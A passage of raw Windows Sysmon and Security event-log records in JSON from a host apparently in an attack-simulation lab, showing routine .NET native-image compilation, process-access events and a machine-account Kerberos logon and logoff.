12:04:55.307","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4367-5F2D-0000-001054D91100}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8515,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:55.307\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4367-5F2D-0000-001054D91100}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:55.307","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4367-5F2D-0000-001054D91100}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222308,"ProcessID":860,"ThreadID":2272,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11DE33\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x11de33","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:04:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222309,"ProcessID":860,"ThreadID":2272,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x11DE33\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51579\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x11de33","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51579","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:04:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222310,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11DE33\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x11de33","LogonType":"3","EventReceivedTime":"2020-08-07 12:04:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8516,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:05:02.041\r\nProcessGuid: {90617006-4367-5F2D-0000-001054D91100}\r\nProcessId: 2804\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\af4-0\\PresentationCore.dll\r\nCreationUtcTime: 2020-08-07 12:05:02.041","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:05:02.041","ProcessGuid":"{90617006-4367-5F2D-0000-001054D91100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\af4-0\\PresentationCore.dll","CreationUtcTime":"2020-08-07 12:05:02.041","EventReceivedTime":"2020-08-07 12:05:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8517,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:02.291\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-436E-5F2D-0000-00100EE11100}\r\nTargetProcessId: 3340\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:02.291","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-436E-5F2D-0000-00100EE11100}","TargetProcessId":"3340","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:05:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8518,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:02.291\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-436E-5F2D-0000-00100EE11100}\r\nTargetProcessId: 3340\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:02.291","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-436E-5F2D-0000-00100EE11100}","TargetProcessId":"3340","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:05:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8519,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:02.291\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-436E-5F2D-0000-00100EE11100}\r\nTargetProcessId: 3340\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:02.291","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-436E-5F2D-0000-00100EE11100}","TargetProcessId":"3340","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8520,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:02.619\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-436E-5F2D-0000-0010C1E51100}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:02.619","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-436E-5F2D-0000-0010C1E51100}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:05:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 